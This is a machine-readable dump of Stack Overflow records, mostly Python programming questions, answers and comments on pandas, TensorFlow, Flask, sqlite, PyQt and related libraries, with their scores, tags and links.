{ dim { size: 16 } dim { size: 16 } dim { size: 7 } dim { size: 3298 } dim { size: 3298 } } float_val: 0 This was the code that produced my error: w = tf.Variable(tf.constant(1.,shape=[16,16,7,1154,1154])) with tf.Session() as sess: sess.run(tf.global_variables_initializer()) I'm still …
has answer: http://stackoverflow.com/a/47021736
type: AnsweredQuestion
answer count: 2
tagged with: conv-neural-network
tagged with: deep-learning
downvote count: 0
has comment: http://stackoverflow.com/comment/80841222
tagged with: tensorflow
favorite count: 0
accepted answer: http://stackoverflow.com/a/47021736
type: Question
score: 5
upvote count: 5
has answer: http://stackoverflow.com/a/46956183

http://stackoverflow.com/comment/81047023
comment on: http://stackoverflow.com/q/47046576
type: Comment
score: 0
has text: What exactly would you like `get_project_by_id()` to do? As it is now it'll return either a ServiceAwarenessProject instance, CorporateVPNProject instance, or None. You don't need relationship attributes for joins. Relationship attributes are an ORM concept, though they can be used in forming joins as well when making queries.
type: QuestionComment

phrase
type: Tag
tag name: phrase
tags question: http://stackoverflow.com/q/47061324

http://stackoverflow.com/q/47056707
type: UnansweredQuestion
tagged with: python
has body: I am trying to print the fetchone() value but it just gives me the error 'NoneType' object is not iterable, does anyone know why Here is my code: def viewemaillook(): global realusername global realpassword viewemail = input("Would you like to see/change your email") if viewemail == "y" or viewemail == "yes": c.execute("SELECT email, * FROM stuffToPlot WHERE username = ? and password = ?", (realusername,realpassword,)) grab = c.fetchone() for i in grab: print(i) elif viewemail == "n" or "no": print("Okay") else: print("Invalid option") viewemaillook() viewemaillook() else: print("Not a valid option") change() change()
has answer: http://stackoverflow.com/a/47056774
score: 0
tagged with: sqlite
answer count: 1
has title: How do i print a fetchone() function but get NoneType error? Sqlite3
type: Question

http://stackoverflow.com/a/47036695
accepted answer of: http://stackoverflow.com/q/47036355
type: Answer
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: It looks like JSON object. You can load it to dict by using json package, but first to get rid of list and \\ you can call s[0].replace('\\', '') import json my_dict = json.loads(s[0].replace('\\', ''))
answers question: http://stackoverflow.com/q/47036355

http://stackoverflow.com/comment/80882111
has text: Thank you. It's helpful.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46966923

http://stackoverflow.com/comment/80847962
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46948326
has text: My intention was to create a contact. It did create and save if i call contact2.execute().. So the problem is now solved. Thanks alot for your help!

http://stackoverflow.com/comment/80903654
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46977117
type: Comment
has text: You must have a custom features for each sample in the batch (the additional `None` dimension). If the features are the same for all samples, you can use `K.repeat_elements` in that constant.

http://stackoverflow.com/comment/80950153
type: Comment
has text: All three answers are very interesting for me... My focus is on understanding I don't have to optimization of physical resources yet. :o)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47001561

http://stackoverflow.com/a/47007346
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47007298
score: 1
type: Answer
has body: Instead of doing it mathematically, you could convert the integer to a string, replace the 5's with 6's and cast it back to an integer. The easiest way to do this would be int(str(num).replace('5', '6'))

http://stackoverflow.com/a/47016889
upvote count: 1
answers question: http://stackoverflow.com/q/47016631
type: Answer
score: 1
has body: Use os package to generate absolute path to your music file to make sure it always works fine. For exampe, if your project's structure is root src your_python_file.py assets sound.wav So you can generate the absolute path to the sound.wav by import os # __file__ means the path of the current python script root_dir = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) bg_path = os.path.join(root_dir, "assets", "sound.wav")
downvote count: 0

http://stackoverflow.com/comment/80773439
comment on: http://stackoverflow.com/q/46909053
score: 1
type: QuestionComment
has text: [This page](https://community.bitnami.com/t/embed-page-with-iframe-using-ip-address/43130) suggests that the bitnami Apache config may be setting the `X-Frame-Options` header.
type: Comment

http://stackoverflow.com/q/46932562
score: 2
upvote count: 2
answer count: 0
downvote count: 0
tagged with: neural-network
has body: I am using pyswarms PSO for neural network optimisation. I am trying to create a network of input layer and output layer. # Store the features as X and the labels as y X = np.random.randn(25000,20) y = np.random.random_integers(0,2,25000) # In[29]: def sigmoid(x): return 1 / (1 + math.exp(-x)) # In[58]: print(X_train.shape) print(y_train.shape) # In[63]: # Forward propagation def forward_prop(params): """Forward propagation as objective function This computes for the forward propagation of the neural network, as well as the loss. It receives a set of parameters that must be rolled-back into the corresponding weights and biases. Inputs ------ params: np.ndarray The dimensions should include an unrolled version of the weights and biases. Returns ------- float The computed negative log-likelihood loss given the parameters """ # Neural network architecture n_inputs = 20 n_classes = 2 # Roll-back the weights and biases W1 = params[0:40] # Perform forward propagation z1 = X.dot(W1) # Pre-activation in Layer 1 #a1 = np.tanh(z1) # Activation in Layer 1 #z2 = a1.dot(W2) + b2 # Pre-activation in Layer 2 logits = z1 # Logits for Layer 2 # Compute for the softmax of the logits exp_scores = np.exp(logits) probs = exp_scores / np.sum(exp_scores,axis=1) # Compute for the negative log likelihood N = 25000 # Number of samples corect_logprobs = -np.log(probs[range(N), y]) loss = np.sum(corect_logprobs) / N return loss # In[64]: def f(x): # Compute for the negative log likelihood """Higher-level method to do forward_prop in the whole swarm. Inputs ------ x: numpy.ndarray of shape (n_particles, dimensions) The swarm that will perform the search Returns ------- numpy.ndarray of shape (n_particles, ) The computed loss for each particle """ n_particles = x.shape[0] j = [forward_prop(x[i]) for i in range(n_particles)] return np.array(j) # In[65]: # Initialize swarm options = {'c1': 0.5, 'c2': 0.3, 'w':0.9} # Call instance of PSO dimensions = 20 optimizer = ps.single.GlobalBestPSO(n_particl…
favorite count: 0
type: Question
tagged with: particle-swarm
has title: How to use different loss functions with the PSO optimised Neural Network code?
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/47006642
score: 1
has answer: http://stackoverflow.com/a/47006813
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
has body: So with Catboost you have parameters to tune and also iterations to tune. So for iterations you can tune using cross validation with the overfit detector turned on. And for the rest of the parameters you can use Bayesian/Hyperopt/RandomSearch/GridSearch. My question is which order to tune Catboost in. Should I tune the number of iterations first or the other parameters first. A lot of the parameters are kind of dependent on number of iterations, but also the number of iterations could be dependent on the parameters set. So any idea of which order is the proper way?
answer count: 1
tagged with: cross-validation
tagged with: machine-learning
tagged with: python
has title: Catboost tuning order?
tagged with: hyperparameters
downvote count: 1
tagged with: catboost

http://stackoverflow.com/comment/80996050
has text: It's not pythonic to sacrifice clarity for brevity, but this doesn't do so. It's a well known idiom. It's an idiom you have to learn, like any other idiom, but it's hardly 'sacrificing clarity'.
type: AnswerComment
score: 4
comment on: http://stackoverflow.com/a/47007761
type: Comment

http://stackoverflow.com/a/47010207
accepted answer of: http://stackoverflow.com/q/47009890
type: Answer
has comment: http://stackoverflow.com/comment/80967446
has comment: http://stackoverflow.com/comment/80966957
has comment: http://stackoverflow.com/comment/80967538
has comment: http://stackoverflow.com/comment/80967753
has comment: http://stackoverflow.com/comment/80967029
answers question: http://stackoverflow.com/q/47009890
has comment: http://stackoverflow.com/comment/80967395
has body: Use groupby with tail and all for check all Trues: a = df.groupby('A').apply(lambda x: (x.tail(3) &gt; 0).all(1)) print (a) 09:01 09:02 09:03 A ABC True False True XYZ True True True b = a.index[a.all(1)] print (b) Index(['XYZ'], dtype='object', name='A') print (a) A ABC XYZ 09:01 True True 09:02 False True 09:03 True True b = a.columns[a.all()].tolist() print (b) ['XYZ']
has comment: http://stackoverflow.com/comment/80967117
has comment: http://stackoverflow.com/comment/80967722
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80967302
has comment: http://stackoverflow.com/comment/80966911
downvote count: 0
has comment: http://stackoverflow.com/comment/80967854
upvote count: 1
has comment: http://stackoverflow.com/comment/80967665
has comment: http://stackoverflow.com/comment/80966992
has comment: http://stackoverflow.com/comment/80967014
has comment: http://stackoverflow.com/comment/80967688
has comment: http://stackoverflow.com/comment/80967794
has comment: http://stackoverflow.com/comment/80966876
has comment: http://stackoverflow.com/comment/80966973
score: 1

http://stackoverflow.com/q/46949020
type: UnansweredQuestion
score: -2
has body: I must increase performance of processing some big file (up 4GB), and i figure that, i can exercise 48 hardware thread to process this file. But on the working server, there also magnetic hard drive. I'm not allowed to load this file to RAM. And my question is that, did this multi-threading read from file is possible? Did thread must wait on another thread to end read specific line from file, so that on the hardware level this will be sequential processing, but on the code level, processing will be multi-threading.
tagged with: python
has title: Is possible multi-threading read form file stored on magnetic hard-drive
has answer: http://stackoverflow.com/a/46949128
upvote count: 0
downvote count: 2
tagged with: multithreading
answer count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/46966003
type: Question
upvote count: 2
score: 2
has title: Manipulating groupby object
tagged with: pandas-groupby
downvote count: 0
has answer: http://stackoverflow.com/a/46967171
type: UnansweredQuestion
answer count: 1
favorite count: 0
has body: I have searched through the other questions but none of them addressed this problem. The focus of this issue is to manipulate the groups directly. Let's assume I have the following data frame: A B C Bg 0 1 X 1 None 1 2 A 7 None 2 3 X 9 1 3 4 X 1 1 4 5 B 1 None 5 6 X 0 None 6 7 C 8 None 7 8 A 5 None 8 9 X 9 2 9 10 X 4 2 10 11 X 2 2 11 12 A 4 None It is then grouped by 'Bg' column: groups = df2.groupby('Bg') for name, group in groups: print('name:', name, '\n', group, '\n\n') the groups will be like this: name: 1 A B C Bg 2 3 X 9 1 3 4 X 1 1 name: 2 A B C Bg 8 9 X 9 2 9 10 X 4 2 10 11 X 2 2 I wrote the following code to perform some tasks and manipulate the groups: groups3 = copy.deepcopy(groups) for name, group in groups3: idx_first = group.index[0] idx_last = group.index[-1] if name == 2: groups3.groups[name] = np.delete(groups3.groups[name], range(0, 1), axis=0) else: del groups3.groups[name] print('groups', groups3.groups) print('-------') for name, group in groups3: print(group) and the output is: groups {2: Int64Index([9, 10], dtype='int64')} ------- A B C Bg 2 3 X 9 1 3 4 X 1 1 A B C Bg 8 9 X 9 2 9 10 X 4 2 10 11 X 2 2 However, I'm expecting this in the output: groups {2: Int64Index([9, 10], dtype='int64')} ------- A B C Bg 9 10 X 4 2 10 11 X 2 2
linked to: http://stackoverflow.com/q/21139043
has comment: http://stackoverflow.com/comment/80881280
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/80951107

http://stackoverflow.com/a/52281181
downvote count: 0
type: Answer
has body: If anyone just wants to do this via CLI argument instead of through the .spec file as presented in Roko's answer, this is the syntax: pyinstaller --hidden-import scipy._lib.messagestream --onefile your_python_file_here.py
answers question: http://stackoverflow.com/q/47040099
upvote count: 3
score: 3

http://stackoverflow.com/comment/80920745
comment on: http://stackoverflow.com/a/46986925
score: 0
type: Comment
type: AnswerComment
has text: This. And if `another_method` is the only place where `f` is used then it probably should open the file itself.

http://stackoverflow.com/q/47014504
tagged with: matplotlib
tagged with: python
type: Question
has title: Compare histograms with different x-axis values
upvote count: 1
has comment: http://stackoverflow.com/comment/80975658
has comment: http://stackoverflow.com/comment/80977709
downvote count: 0
answer count: 1
tagged with: histogram
favorite count: 0
has comment: http://stackoverflow.com/comment/80976133
has answer: http://stackoverflow.com/a/47014939
accepted answer: http://stackoverflow.com/a/47014939
type: AnsweredQuestion
score: 1
has body: I am having some trouble working with Python histograms. I have 2 Bell curves with the same number of points but with dramatically different values for those points. I want to compare the shape of the curves. Plots 1 and 2 show what I am getting. I want it to look like plot 3 below, but not with points! import numpy as np import matplotlib.pyplot as plt hist1 = np.random.normal(0,100,1000) hist2 = np.random.normal(0,1,1000) nBins = 100 plt.figure(1) plt.hist((hist1,hist2),bins=nBins) plt.figure(2) plt.hist(hist1,bins=nBins) plt.hist(hist2,bins=nBins) plt.figure(3) plt.plot(np.histogram(hist1,bins=nBins)[0],'o') plt.plot(np.histogram(hist2,bins=nBins)[0],'o')

http://stackoverflow.com/a/46921659
has comment: http://stackoverflow.com/comment/80790799
has comment: http://stackoverflow.com/comment/80790741
has comment: http://stackoverflow.com/comment/80790908
has comment: http://stackoverflow.com/comment/80790721
type: Answer
has comment: http://stackoverflow.com/comment/80790780
has body: You can do: df = df.assign(output=df.dot(df.columns)) df'output' id output 0 A,B,C,D 1 B,D 2 A,B 3 A
score: 3
answers question: http://stackoverflow.com/q/46921576
has comment: http://stackoverflow.com/comment/80790768
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80790689

del
tag name: del
tags question: http://stackoverflow.com/q/47019008
type: Tag

http://stackoverflow.com/comment/81035872
type: Comment
comment on: http://stackoverflow.com/q/47044228
type: QuestionComment
has text: where are the column of your second excel sheets?
score: 0

http://stackoverflow.com/comment/80922905
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46971540
type: Comment
has text: Wow. Good point. I've just copied `round(number, -1)` and didn't noticed, that it's actually wrong. It should be `round(number)`. Because of -1 number will be rounded from 101 to 100 :) I'll fix it.

http://stackoverflow.com/q/47014617
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47014660
has comment: http://stackoverflow.com/comment/80975621
answer count: 5
has comment: http://stackoverflow.com/comment/80976330
tagged with: python
has answer: http://stackoverflow.com/a/47015119
tagged with: lambda
has answer: http://stackoverflow.com/a/47014989
has comment: http://stackoverflow.com/comment/80975547
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47015287
has comment: http://stackoverflow.com/comment/80975506
score: 0
has comment: http://stackoverflow.com/comment/80975566
has comment: http://stackoverflow.com/comment/80976729
tagged with: filter
has answer: http://stackoverflow.com/a/47014660
has answer: http://stackoverflow.com/a/47015287
upvote count: 2
has body: I have the following string and I wanna decode by filtering the X's garbled = "IXXX aXXmX aXXXnXoXXXXXtXhXeXXXXrX sXXXXeXcXXXrXeXt mXXeXsXXXsXaXXXXXXgXeX!XX" And I would like to filter. I tried the following code message = filter(lambda x: garbled.remove(x) if x == "X", garbled) I did not make this way work. I have found this other solution: message = filter(lambda x: x != "X", garbled) But I still wonder why did not work the first one. Can I fix it? (I am new in python btw) thanks!
has title: lambda and filter in python
downvote count: 2
has comment: http://stackoverflow.com/comment/80976309
has comment: http://stackoverflow.com/comment/80976674
has answer: http://stackoverflow.com/a/62755900

http://stackoverflow.com/a/46938024
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/46933262
answers question: http://stackoverflow.com/q/46933262
type: AcceptedAnswer
type: Answer
has body: As @Brian H. is pointing out in the comments, you can chain foreign keys with __. In your case you could get the data with C.objects.filter(b__a='search_id').values('id', 'name', 'b__name', 'b__a__name') You can then loop through the data and build the list in the format you require.

http://stackoverflow.com/comment/114975666
type: Comment
has text: I came here looking for a solution that works with the cmd module on windows 10. pyreadline works well with the cmd module in powershell (although Rochak is correct about tabs), but it's really clumsy to use in git bash and just buggy in interactive mode (python -i). The package also doesn't seem to have been updated in a long time.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/46944241

http://stackoverflow.com/comment/80920509
score: 0
comment on: http://stackoverflow.com/a/46983491
has text: in that case, your formula is wrong. Do you know that `**` is 'power' ?
type: Comment
type: AnswerComment

http://stackoverflow.com/q/46932634
favorite count: 0
type: Question
has body: I'm trying to execute the following python notebook: Them I came to the part where I have to use the function 'compute_cluster_similarities'. def compute_cluster_similarities(kwds, kwd2id, vectors, lbl2centroid): kwd2cluster_sims = dict() for kwd in kwds: ix = kwd2id[kwd] nvec = vectors[ix] sims = [] for lbl, centroid in lbl2centroid.items(): cosine_sim = np.inner(nvec, centroid) sims.append((lbl,cosine_sim)) sims = sorted(sims, key = lambda lbl,sim: -sim) kwd2cluster_sims[kwd] = sims if len(kwd2cluster_sims) % 1000 == 0: print("%i computed out of %i" % (len(kwd2cluster_sims), len(all_kwds))) return kwd2cluster_sims And its returning the error: TypeError: () missing 1 required positional argument: 'sim' First of all, I'm still trying to understand this part of the lambda code. I learned what is the objective of the lambda instruction but couldn't understand what is the point of this line of code, like.. is it (implicity) returning 2 values (sims, key)?? What is being sorted? I think that this error is ocurring due the Python 3, but even if this was executed on Python 2, it doesn't make sense to me. It's very confusing for me... How can I solve this error? And please, give me some explanation about what it's going on, not just the fix. EDIT: I'm using pdb library to debug the code and I realized that this error was being returned by the 'sorted()' function. The original error is: *** TypeError: 'function' object is not iterable What I did: cosine_sim = np.inner(nvec, centroid) sims.append((lbl,cosine_sim)) import pdb ; pdb.set_trace(); sims = sorted(sims, key = lambda lbl,sim: -sim) and them at the Pdb mode: (Pdb) sims, key = lambda lbl,sim: -sim *** TypeError: 'function' object is not iterable
score: 0
has comment: http://stackoverflow.com/comment/80813197
has comment: http://stackoverflow.com/comment/80813303
tagged with: python
has comment: http://stackoverflow.com/comment/80813529
tagged with: numpy
type: AnsweredQuestion
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/46933149
upvote count: 2
has answer: http://stackoverflow.com/a/46933149
has title: lambda function error: TypeError: 'function' object is not iterable
downvote count: 2
answer count: 1
tagged with: lambda

http://stackoverflow.com/a/47002726
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80960162
has body: You need: sudo dnf install portaudio-devel redhat-rpm-config Next, you can install pyaudio. pip install --user pyaudio Note: yum is deprecated, use dnf instead. When you see compilation/building about a program, always check you have the devel dependencies like package_name-devel. when installing with pip on fedora, always use --user. It will install package in your home. Else, you can create conflict with dnf packages.
has comment: http://stackoverflow.com/comment/80953624
upvote count: 8
type: Answer
answers question: http://stackoverflow.com/q/47002119
accepted answer of: http://stackoverflow.com/q/47002119
score: 8
has comment: http://stackoverflow.com/comment/80988643

http://stackoverflow.com/comment/81093867
type: AnswerComment
comment on: http://stackoverflow.com/a/46992089
score: 0
type: Comment
has text: First of all, thank you very much for your answers! I still have one question about the transformation from the exponential PDF into the alpha PDF (see your first answer). When I solve the equation -lambda*d = -d/a for 'lambda', I get 1/a and not d/a^2 ... Am I missing something?

http://stackoverflow.com/a/46919848
answers question: http://stackoverflow.com/q/46917671
has body: UPDATE: As of PyQt-5.11, Q_ENUMS/Q_FLAGS have been deprecated, so that Q_ENUM/Q_FLAG should be used instead. This does not affect the original solution given below, which will still work with either Q_ENUM or Q_ENUMS. However, in PyQt6, these functions are no longer available and have been replaced by pyqtEnum. This means user-defined enums must now be subclasses of enum.Enum and be decorated accordingly. For consistency with the built-in APIs, they should probably also be fully scoped (i.e. so that PyDMLabel.STRING is no longer allowed), but this is not strictly necessary: from enum import Enum from PyQt6.QtCore import pyqtEnum @pyqtEnum class DisplayFormat(Enum): DEFAULT = 0 STRING = 1 DECIMAL = 2 EXPONENTIAL = 3 HEX = 4 BINARY = 5 class PyDMLabel(QLabel, PyDMWidget): DisplayFormat = DisplayFormat Original Solution (PyQt5): In order for Qt (Designer) to see an enum, PyQt has to add it to the meta-object of the custom class. So it could never be referred to by Qt as DisplayFormat::STRING. In Qt, enums declared in the class scope expose their constants as members of the class. So for example, the QComboBox class defines an InsertPolicy enum, and the constants can be referred to like this: QComboBox::InsertAtTop. So in that respect, the behaviour of PyQt enums in Qt Designer plugins is exactly as expected, since the ui file shows PyDMLabel::STRING. However, getting fully equivalent behaviour in Python code requires some extra work. The nearest I could come up with is this: class DisplayFormat: DEFAULT = 0 STRING = 1 DECIMAL = 2 EXPONENTIAL = 3 HEX = 4 BINARY = 5 class PyDMLabel(QLabel, PyDMWidget, DisplayFormat): DisplayFormat = DisplayFormat Q_ENUM(DisplayFormat) This will still result in Qt Designer using PyDMLabel::STRING (as expected). But Python code can now access the constants in any of these ways: PyDMLabel.STRING PyDMLabel.DisplayFormat.STRING DisplayFormat.STRING And in fact, if you don't mind losing the second of these options, you could simplify things ev…
has comment: http://stackoverflow.com/comment/80811832
accepted answer of: http://stackoverflow.com/q/46917671
type: Answer
has comment: http://stackoverflow.com/comment/80788060
has comment: http://stackoverflow.com/comment/80787952
has comment: http://stackoverflow.com/comment/80789917
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46971920
tagged with: graph
answer count: 0
has comment: http://stackoverflow.com/comment/80891625
has comment: http://stackoverflow.com/comment/80891999
type: UnansweredQuestion
has title: python - smallest number of groupings of lists which are disjointed derived from a list
score: 0
tagged with: list
has body: from a nestedList, I have to group this lists in the smallest number of groups possible with all lists in the group without intersection with each other. Then the groups also shouldn't have intersection meaning each list from the nested list should appear only once in all the groups. e.g. [[1,2,3],[4,5,7],[52,12,1],[91239,21,1],[3,5,6],[6,8,10]] [1,2,3],[4,5,7],[6,8,10] [52,12,1],[3,5,6] [91239,21,1] Furthermore, groups should be labeled with numbers using dictionary. using 1-10, i have to use the least number of numbers possible, so if i call groupings the values of keys should be equal most of the time {[1,2,3]:'1',[4,5,7]:'1',[6,8,10]:'1', [52,12,1]:'2',[3,5,6]:'2', [91239,21,1]:'3'} There is a larger list which I am working on right now and has so far come up with this: def disjoint(a, b): for i in a: if i in b: return False return True numberassignments = ['1','2','3','4','5','6','7','8','9','10'] groupings = {} for i in numberassignments: for j in range(len(list)): if list[j] not in groupings: groupings[list[j]] = i for k in range(list): if disjoint(list[j], list[k]) and list[k] not in groupings: grouped = [l for l in groupings if groupings[l] == i] if all(disjoint(m, list[k]) for m in grouped): groupings[list[k]] = i so far my code is able to group the lists with no intersection, my problem is, I have no idea whether it is grouped the least amount possible or even how to code which optimizes the number of groups. those i asked told me it should have something to do with graph theory which I have absolutely no idea about (i did grasp that vertices are the lists, edges are their intersections but what do i do with this knowledge?). contraints: no libraries
has comment: http://stackoverflow.com/comment/80891394
tagged with: python
tagged with: dictionary
tagged with: theory
type: Question

http://stackoverflow.com/q/47008691
tagged with: python
has body: It is my input file. comma separated values. It should read the file, convert that into panda dataframe. If any of the values in a row is 1, then all other columns in the same row should be 1. Input file(filter.txt) col1 2 3 4 5 //column example abc, 0 0, 0, 0 def, 0, 0, 1, abc, 0, 1, , def, 0, 0, 0, 1 xyz, 1, , , Expected output step 2 col1 2 3 4 5 6 //6th column should be updated by 1 if there exists any 1 from col2, 3, 4 and 5 abc, 0 0, 0, 0, 0 def, 0, 0, 1, 1, 1 abc, 0, 1, 1, 1, 1 def, 0, 0, 0, 1, 1 xyz, 1, 1, 1, 1, 1 After that it should group by column 0 and sum the values. So, far my code is, import pandas as pd data = pd.read_csv('/Users/ankr/Desktop/unpx/fill', sep=",", header=None) # data.columns = outputFrm = [] for index, row in data.iterrows(): tempRow = [] oneExist = False for el in row: if el == 1: oneExist = True if oneExist: tempRow.append(1) else: tempRow.append(el) outputFrm.append(tempRow) df = pd.DataFrame(outputFrm, columns=['a','b','c', 'd', 'e', 'f']) print df Expected output step 2 abc, 0, 1, 1, 1, 1 def, 0, 0, 1, 2, 2 xyz, 1, 1, 1, 1, 1 Error: File "filter.py", line 18, in &lt;module&gt; df = pd.DataFrame(outputFrm, columns=['a','b','c', 'd', 'e', 'f', 'g']) File "/Library/Python/2.7/site-packages/pandas/core/frame.py", line 314, in __init__ arrays, columns = _to_arrays(data, columns, dtype=dtype) File "/Library/Python/2.7/site-packages/pandas/core/frame.py", line 5617, in _to_arrays dtype=dtype) File "/Library/Python/2.7/site-packages/pandas/core/frame.py", line 5696, in _list_to_arrays coerce_float=coerce_float) File "/Library/Python/2.7/site-packages/pandas/core/frame.py", line 5755, in _convert_object_array 'columns' % (len(columns), len(content))) AssertionError: 6 columns passed, passed data had 5 columns Any help would be appreciated. Thanks.
type: Question
score: 0
type: UnansweredQuestion
answer count: 1
tagged with: django
has comment: http://stackoverflow.com/comment/80963950
has comment: http://stackoverflow.com/comment/80965085
tagged with: http://stackoverflow.com/tag/csv
has answer: http://stackoverflow.com/a/47009182
has title: python - read file add 1 to the data and write in file using data frame

http://stackoverflow.com/comment/81030138
has text: What implementation of heap do you refer? If it contains `remove` operator (that denotes explicit access to heap elements), it might also contain `change priority` one.
comment on: http://stackoverflow.com/q/47041206
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81035516
has text: I am defining the Manager in generatereport.py
comment on: http://stackoverflow.com/q/47044100
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80877537
comment on: http://stackoverflow.com/a/46964799
type: AnswerComment
score: 0
has text: if the result of `combinations(words, 2)` is very big, creating a list with all the results and storing it will take additional overhead that you can prevent. That said - I wouldn't agree that it *must* have a tremendous effect without measuring it.
type: Comment

http://stackoverflow.com/comment/86430577
type: QuestionComment
has text: @ShravanYadav Like the update says, I just ended up installing everything from source.
comment on: http://stackoverflow.com/q/46959072
score: 0
type: Comment

http://stackoverflow.com/comment/81024896
has text: Haha first time using stackoverflow! Think I've managed to do it!
type: Comment
comment on: http://stackoverflow.com/a/46994402
score: 0
type: AnswerComment

http://stackoverflow.com/a/46993948
answers question: http://stackoverflow.com/q/46993918
has body: Add a line that calls the function right after the code where you define the function. vendingMachine() Run again and it will run other code. You've def(ined) the function but never called it.
score: 1
type: Answer
downvote count: 0
upvote count: 1

eval
tag name: eval
type: Tag
tags question: http://stackoverflow.com/q/46994266

http://stackoverflow.com/a/48619555
has comment: http://stackoverflow.com/comment/84242358
has body: There's no need to scrape/parse the page. The website has an API to request the data directly. You can inspect these requests with devtools (F12) when the page is loading. To list all the markets with the England Premier League: import requests URI_COMPETITIONS = "https://services.topbetta.com.au/api/v2/combined/sports/competitions?sport_name=football" URI_EVENTS = "https://services.topbetta.com.au/api/v2/combined/events/markets/selections?competition_id=%s" response = requests.get(URI_COMPETITIONS).json() for sport in response['data'] : if sport['name'] == 'Football': for base_competition in sport['base_competitions'] : if base_competition['name'] == 'England Premier League': for info_competition in base_competition['competitions'] : response = requests.get(URI_EVENTS % info_competition['id']).json() for competition in response['data'] : print('%s' % competition['name']) for event in competition['events'] : print(" %s %s" % (event['start_date'], event['name'])) for market in event['markets']: for selection in market['selections'] : print(" %s %s" % (selection['name'], selection['price'])) Which gives: England Premier League Round 26 2018-02-06 07:00:00 Watford v Chelsea Watford 6 Draw 3.8 Chelsea 1.6 England Premier League Round 27 2018-02-11 02:00:00 Everton v Crystal Palace Everton 2.4 Draw 3.2 Crystal Palace 3 2018-02-11 23:00:00 Huddersfield Town v AFC Bournemouth Huddersfield Town 3 Draw 3.2 AFC Bournemouth 2.4 2018-02-11 04:30:00 Manchester City v Leicester City Manchester City 1.2 Draw 6.5 Leicester City 13 ...
answers question: http://stackoverflow.com/q/46946374
has comment: http://stackoverflow.com/comment/84241942
score: 0
has comment: http://stackoverflow.com/comment/84241581
has comment: http://stackoverflow.com/comment/84244550
has comment: http://stackoverflow.com/comment/84242506
type: Answer
has comment: http://stackoverflow.com/comment/84244754

http://stackoverflow.com/comment/98121819
comment on: http://stackoverflow.com/a/47520742
type: Comment
type: AnswerComment
has text: ProxySQL works as a middle man in terms of authentication. Database users will have to be created on ProxySQL itself, in mysql_users table. ProxySQL doesn't need anything more than username and password (it can be either plain text or, better, hash). Application will connect to ProxySQL using user and password to authenticate. Then ProxySQL will use the same user and password to create connections to the backend servers. Privileges are tested only on the MySQL side. More in this ProxySQL tutorial (https://severalnines.com/resources/tutorials/proxysql-tutorial-mysql-mariadb).
score: 0

http://stackoverflow.com/a/46979174
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/46978642
downvote count: 0
has body: df['new']=df.groupby('Page').cumcount().add(1) df=df.set_index(['Page','new']).unstack() df.columns=df.columns.map('{0[0]}_{0[1]}'.format) Out[870]: KeyWord_1 KeyWord_2 KeyWord_3 date_1 date_2 date_3 Page 1 hello good None mon mon None 2 holy brown crazy tues wed wed
score: 1

http://stackoverflow.com/a/47050509
has comment: http://stackoverflow.com/comment/81049843
has comment: http://stackoverflow.com/comment/81050113
has comment: http://stackoverflow.com/comment/81049427
has comment: http://stackoverflow.com/comment/81050961
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47050010
has comment: http://stackoverflow.com/comment/81049694
accepted answer of: http://stackoverflow.com/q/47050010
has comment: http://stackoverflow.com/comment/81050884
has body: If I understand the question correctly, you can use include argument where you're creating your celery app. It'll register all tasks found in the modules mentioned in the include argument. For example: celery = Celery(app.import_name, broker=app.config['CELERY_BROKER_URL'], CELERY_RESULT_BACKEND=app.config['CELERY_BROKER_URL'], include=['minimal.task1', 'minimal.task2']) Edit by question poster: In addition, in order to get the correct import naming, the task class' name property needs to be set as follows: class Task1(Task): name = __name__ Essentially, the value of name at task registering time needs to match exactly the name with which the task is imported at client side.
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/81050247

http://stackoverflow.com/a/46990801
type: Answer
accepted answer of: http://stackoverflow.com/q/46990402
has comment: http://stackoverflow.com/comment/80928374
has comment: http://stackoverflow.com/comment/80928197
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80928157
has body: Below code should allow you to close browser and WebDriver session once you reach last page from selenium.common.exceptions import NoSuchElementException try: element = driver.find_element_by_xpath('//span[text()="Next Page"]') except NoSuchElementException: driver.quit()
answers question: http://stackoverflow.com/q/46990402
has comment: http://stackoverflow.com/comment/80928590
score: 1

http://stackoverflow.com/comment/81066713
comment on: http://stackoverflow.com/q/47059561
has text: yeah i know that but im keeping that empty because im stuck on what i should do @FunkySayu
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47008277
favorite count: 0
has body: I have written this code in Flask ans = 999 @app.route('/', methods=['POST', 'GET']) def home(): flag = 0 global ans session["ans"] = 0 if (request.method == "POST"): jsdata = request.form['data'] flag = 1 session['jsdata'] = jsdata if (flag == 1): ans = get_data(session['jsdata']) return render_template('/index.html',ans=ans) return render_template('/index.html',ans=ans) When the value of flag was 0, in index.html it shows 999, but when value of flag changes to 1 and if condition is executed index.html still show value 999 not the values it got from function. and when I print the and in if condition for debugging it shows correct value.
has title: HTML variable value is not changing in Flask
has comment: http://stackoverflow.com/comment/80963260
has comment: http://stackoverflow.com/comment/80963330
